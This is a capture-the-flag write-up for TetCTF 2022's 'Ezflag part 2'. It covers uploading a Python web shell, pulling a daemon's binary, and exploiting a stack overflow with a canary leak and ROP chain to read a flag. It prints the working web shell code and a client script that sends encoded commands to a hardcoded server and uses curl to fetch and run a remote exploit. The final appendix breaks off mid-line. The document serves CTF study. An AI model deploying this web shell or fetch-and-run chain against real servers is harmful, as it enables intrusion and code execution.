# Ezflag part 2  
# Persistance

Even though we can execute our own command now, but it’s rather annoying that
we need to upload a new file each time we need to execute a new command,
therefore I decided to upload a web shell, so I can easily execute command as
I wish.

```python  
import socket  
import base64  
import os  
cmd = os.environ.get('QUERY_STRING')  
os.system(base64.b64decode(cmd))  
#curl [server]/uploads/webshell.py?[base64 encoded command]  
```

This simple web shell takes a base64 encoded command as it’s query string,
execute it, and show it’s result. I later write a simple script to interact it
and use it as a shell.

```python  
webshell $ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
```

# One step deeper

From the result above we can see that we are only www-data, and have pretty
limited permission. Listing the root directory shows that there is a flag2
file only readable as daemon. From the upload.py file we know that there is a
authorization service run on the server run by the daemon. The service seems
to be running the auth file that also located in the root directory (results
of ps aux also confirms this). I copy the auth file to the upload directory,
change the permission, then curl the server from local machine to get the
binary to local machine.

```python  
webshell $ ls -al /  
total 864  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 .  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 ..  
-rwxr-xr-x 1 root root 0 Jan 1 00:06 .dockerenv  
-r-xr--r-- 1 daemon daemon 802768 Dec 31 22:39 auth  
lrwxrwxrwx 1 root root 7 Oct 6 16:47 bin -> usr/bin  
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot  
drwxr-xr-x 5 root root 340 Jan 1 03:44 dev  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 etc  
-r--r--r-- 1 root root 41 Jan 1 00:03 flag  
-r-------- 1 daemon daemon 41 Jan 1 00:03 flag2  
drwxr-xr-x 2 root root 4096 Apr 15 2020 home  
lrwxrwxrwx 1 root root 7 Oct 6 16:47 lib -> usr/lib  
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib32 -> usr/lib32  
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib64 -> usr/lib64  
lrwxrwxrwx 1 root root 10 Oct 6 16:47 libx32 -> usr/libx32  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 media  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 mnt  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 opt  
dr-xr-xr-x 995 root root 0 Jan 1 03:44 proc  
drwx------ 1 root root 4096 Jan 1 03:40 root  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 run  
-rwxr-xr-x 1 1000 1000 189 Dec 31 15:29 run.sh  
lrwxrwxrwx 1 root root 8 Oct 6 16:47 sbin -> usr/sbin  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 srv  
dr-xr-xr-x 13 root root 0 Jan 1 03:44 sys  
drwxrwxrwt 1 root root 4096 Jan 1 06:57 tmp  
drwxr-xr-x 1 root root 4096 Jan 1 00:05 usr  
drwxr-xr-x 1 root root 4096 Jan 1 00:05 var  
webshell $ cp /auth /var/www/uploads/bronson113/auth.bin  
webshell $ chmod 777 auth.bin  
```

# Vulnerability

In the authorization file, function we are interested locates at 0x0401f10

![reversed_func_0x0401f10](https://bronson113.github.io/img/TetCTF2022-ezflag.png)

We can see that it attempts to copy the received buff onto the stack variable,
effectively doing a memcopy on the stack, but since it doesn’t reserve enough
space for the buff, we can overflow and control rip.

# Exploitation

We know that we can control rip by overwriting the return pointer. However
stack canary is enabled in this binary, so we need to leak the canary first.
Since the service daemon is forking itself for each connection, the layout and
canary won’t change between connection, so we just need two connections, one
to leak and one to pwn.

Initially I tried to use the rop chain generated by ropper but it’s too long,
and the shell doesn’t pop back through socket. I also realize that the rop
chain runs on a different process, therefore we need to do other stuff to get
our flag.

I end up constructing a rop chain to call `execve
("/bin/bash",["/bin/bash","-c",cmd],0)` then copy the flag file and change the
permission to read it through web shell.

part 2 flag: `TetCTF{cc17b4cd7d2e4cb0af9ef992e472b3ab}`

# Appendix 1 - shell.py

```python  
import requests  
import base64  
from pwn import *  
ip = ""  
webserver_port = 0  
def send_cmd(s):  
s = s+";echo a;"  
cmd = base64.b64encode(s.encode()).decode('latin-1')  
payload = f"http://18.191.117.63:9090/uploads/bronson113/webshell.py?{cmd}"  
print(payload)  
r = requests.get(payload)  
if r.text[:9]=="[base64] ":  
print("base64 data:", base64.b64decode(r.text[9:-2]))  
if r.text[:6]== "[exp] ":  
raw_data = base64.b64decode(r.text[6:-2])  
print(f"raw_data: {raw_data}")  
print(','.join(hex(u64(raw_data[i:i+8])) for i in range(8, len(raw_data), 8)))

else:  
print(r.text[:-2])

while True:  
s = input(">> ").strip()  
if s=="exp":  
send_cmd(f"curl https://{ip}:{webserver_port}/exp.py >
local_exp_bronson113_v1.py;python3 local_exp_bronson113_v1.py")  
else:  
send_cmd(s)

#TetCTF{65e95f4eacc1fe7010616e051f1c610a}  
```

# Appendix 2 - exp.py

```python  
import socket  
import base64  
from struct import pack, unpack  
from time import sleep  
p = lambda x : pack('Q', x)  
u = lambda x : unpack('

Original writeup (https://bronson113.github.io/2022/01/06/ezflag-writeup-
TetCTF2022.html).